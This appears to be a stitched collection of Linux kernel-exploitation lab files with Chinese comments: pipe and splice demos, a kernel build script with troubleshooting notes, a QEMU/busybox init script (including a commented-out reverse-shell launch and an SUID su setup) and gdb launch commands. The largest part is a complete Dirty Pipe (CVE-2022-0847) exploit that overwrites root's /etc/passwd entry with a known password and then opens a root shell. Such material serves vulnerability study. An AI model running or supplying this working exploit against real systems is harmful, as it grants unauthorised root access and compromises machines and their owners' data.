// C程序演示C中父子共享的管道系统调用
#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h>
#include <sys/wait.h>

#define MSG_SIZE 16 
char* msg1 = "hello, world #1"; 
char* msg2 = "hello, world #2"; 
char* msg3 = "hello, world #3"; 

int main() 
{ 
 char inbuf[MSG_SIZE]; 
 int p[2], pid, nbytes; 

 if (pipe(p) < 0) 
     exit(1); 

 // 父进程中
 if ((pid = fork()) > 0) { 
     write(p[1], msg1, MSG_SIZE); 
     write(p[1], msg2, MSG_SIZE); 
     write(p[1], msg3, MSG_SIZE); 

     // 添加下面一行代码来关闭管道的写入口就不会引起进程挂起
     // close(p[1]); 

     wait(NULL);

 // 子进程中
 } else { 
     // 添加下面一行代码来关闭管道的写入口就不会引起进程挂起
     // close(p[1]); 

     while ((nbytes = read(p[0], inbuf, MSG_SIZE)) > 0) 
         printf("s %s\n", inbuf);
     if (nbytes != 0) 
         exit(2); 
     printf("Finished reading\n"); 
 } 

 return 0; 
}

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    int filefd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);

    int pipefd[2];
    pipe(pipefd);

    // 从套接字读取数据并将其写入管道中
    splice(sockfd, NULL, pipefd[1], NULL, 32768, 0);

    // 从管道中读取数据并将其写入文件中
    splice(pipefd[0], NULL, filefd, NULL, 32768, 0);

    close(sockfd);
    close(filefd);

    return 0;
}

#!/bin/sh

<<Environment
    HOST: Ubuntu18.04.05
    Host Kernel Version: Linux pc 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
    GCC Version: gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
    Target compile kernel version: Linux v5.9.10

    【ERROR】
    Ubuntu22.04版本下编译Linux v5.9.10会报错
    原因：ld版本迭代，某些符号命名发生了变更，导致编译器无法找到符号，进而报告符号缺失(missing)
    原因分析：
        参考网页 - Compiling older versions of the kernel using newer packages：https://www.reddit.com/r/archlinux/comments/pl9pak/compiling_older_versions_of_the_kernel_using/
        该分析称：binutils 2.36已经修复该错误。patch补丁地址为：https://github.com/torvalds/linux/commit/1d489151e9f9d1647110277ff77282fe4d96d09b.patch
        然而，Ubuntu22.04 LTS中的binutils版本为2.38，依旧报错
    解决方法：
        使用更低版本的Linux发行版，编译该内核
    其他：
        同样报错提问帖 - kernel compile error: arch/x86/entry/thunk_64.o：https://forums.gentoo.org/viewtopic-p-8673423.html?sid=7ed57e7d28442bf7e95228cafb143034

Environment

<<COMMENT
    【.config文件的修改】
    报错：No rule to make target 'debian/canonical-certs.pem'...
    原因：估计是内核模块签名，密码啥的。

    解决方法：
    1、参考CSDN博客 - 内核错误......：https://blog.csdn.net/qq_36393978/article/details/118157426

    具体解决操作：
    1、将.config文件中的以下值，修改为空值
    CONFIG_SYSTEM_TRUSTED_KEYS="debian/canonical-certs.pem" -> CONFIG_SYSTEM_TRUSTED_KEYS=""
    CONFIG_SYSTEM_REVOCATION_KEYS="debian/canonical-revoked-certs.pem" -> CONFIG_SYSTEM_REVOCATION_KEYS=""
COMMENT

<<COMMENT
    【依赖相关，编译报错】
    总结：缺失的依赖，已补充到环境配置命令中

    【报错1】
    BTF: .tmp_vmlinux.btf: pahole (pahole) is not available
    Failed to generate BTF for vmlinux
    Try to disable CONFIG_DEBUG_INFO_BTF
    Makefile:1162: recipe for target 'vmlinux' failed
    make: *** [vmlinux] Error 1

    原因：不明

    解决方法：
    1、参考stackoverflow - BTF...... ：https://stackoverflow.com/questions/61657707/btf-tmp-vmlinux-btf-pahole-pahole-is-not-available

    具体解决操作：
    1、sudo apt install dwarves

    【报错2】
      ZSTD22  arch/x86/boot/compressed/vmlinux.bin.zst
    /bin/sh: 1: zstd: not found
    arch/x86/boot/compressed/Makefile:152: recipe for target 'arch/x86/boot/compressed/vmlinux.bin.zst' failed
    make[2]: *** [arch/x86/boot/compressed/vmlinux.bin.zst] Error 127
    make[2]: *** Deleting file 'arch/x86/boot/compressed/vmlinux.bin.zst'
    arch/x86/boot/Makefile:115: recipe for target 'arch/x86/boot/compressed/vmlinux' failed
    make[1]: *** [arch/x86/boot/compressed/vmlinux] Error 2
    arch/x86/Makefile:265: recipe for target 'bzImage' failed
    make: *** [bzImage] Error 2
    make: *** Waiting for unfinished jobs....

    原因：不明

    解决方法：
    1、参考博客 - Ubuntu 20.04 compile zstd error：https://forum.openwrt.org/t/ubuntu-20-04-compile-zstd-error/66619

    具体解决操作：
    1、sudo apt install zstd
COMMENT

# 脚本入口在此！main

sudo apt update
sudo apt install -y git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison
sudo apt install -y gcc make
sudo apt install -y dwarves zstd    # 缺失这两个依赖，会导致依赖报错。详情请见脚本开头注释。

: 以下命令用于安装Qemu，用于调试
sudo apt install -y qemu-system

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
#mkdir /tmp
#mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs /tmp
mount -t devtmpfs devtmpfs /dev

mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

# 添加普通用户sam, id为1000
# mkdir -p /home/sam
# mkdir -p /etc
# touch /etc/passwd
# adduser -h /home/sam -s /bin/sh sam

#loadKo
insmod /tmp/myHeapMod.ko

mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
#chown 1000 /dev/stack
#chmod 777 /dev/arbWriteModule
# chmod 777 /dev/stack

ifconfig lo 127.0.0.1
route add -net 127.0.0.0 netmask 255.255.255.0 lo
ifconfig eth0 192.168.10.0
route add -net 192.168.10.0 netmask 255.255.255.0 eth0

#chmod 777 /tmp/sudo
#nohup /tmp/sudo &
#nohup /tmp/reverse_shell &

# 初始化su的环境
# 备注：此处那个/bin/su，是一个硬链接。设置该文件的属性，实质上是设置/bin/busybox的属性。因此，下列语句起效。
chown root:root /bin/su
chmod 4755 /bin/su

# 这是只有root才能够读取的flag
echo "this is a sample flag" >> /flag
chmod 600 flag

# exec /bin/sh -c "su sam" #root

# 以下命令的数值部分，区分normal user还是root
setsid /bin/cttyhack setuidgid 0 /bin/sh #normal user
poweroff -d 0  -f

qemu-system-x86_64  \
-m 4096M \
-cpu kvm64,+smep,+smap \
-kernel ./bzImage \
-initrd ./test.cpio \
-nographic \
-s \
-smp 4,cores=2,threads=2 \
-append "console=ttyS0 quiet nokaslr"

gdb \
    -ex "add-auto-load-safe-path $(pwd)" \
    -ex "file ./vmlinux" \
    -ex 'set architecture i386:x86-64' \
    -ex 'target remote localhost:1234' \

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();

    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];

    /* fill the pipe completely; each pipe_buffer will now have
       the PIPE_BUF_FLAG_CAN_MERGE flag */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }

    /* drain the pipe, freeing all pipe_buffer instances (but
       leaving the flags initialized) */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }

    /* the pipe is now empty, and if somebody adds a new
       pipe_buffer without initializing its "flags", the buffer
       will be mergeable */
}

int main() {
    const char *const path = "/etc/passwd";

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

    loff_t offset = 4; // after the "root"
    const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n \n    "; // openssl passwd -1 -salt aaron aaron 
        printf("Setting root password to \"aaron\"...\n");
    const size_t data_size = strlen(data);

    if (offset % PAGE_SIZE == 0) {
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
        return EXIT_FAILURE;
    }

    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page) {
        fprintf(stderr, "Sorry, cannot write across a page boundary\n");
        return EXIT_FAILURE;
    }

    /* open the input file and validate the specified offset */
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }

    struct stat st;
    if (fstat(fd, &st)) {
        perror("stat failed");
        return EXIT_FAILURE;
    }

    if (offset > st.st_size) {
        fprintf(stderr, "Offset is not inside the file\n");
        return EXIT_FAILURE;
    }

    if (end_offset > st.st_size) {
        fprintf(stderr, "Sorry, cannot enlarge the file\n");
        return EXIT_FAILURE;
    }

    /* create the pipe with all flags initialized with
       PIPE_BUF_FLAG_CAN_MERGE */
    int p[2];
    prepare_pipe(p);

    /* splice one byte from before the specified offset into the
       pipe; this will add a reference to the page cache, but
       since copy_page_to_iter_pipe() does not initialize the
       "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\n");
        return EXIT_FAILURE;
    }

    /* the following write will not create a new pipe_buffer, but
       will instead write into the page cache, because of the
       PIPE_BUF_FLAG_CAN_MERGE flag */
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }

    char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);

        printf("system() function call seems to have failed :(\n");
    return EXIT_SUCCESS;
}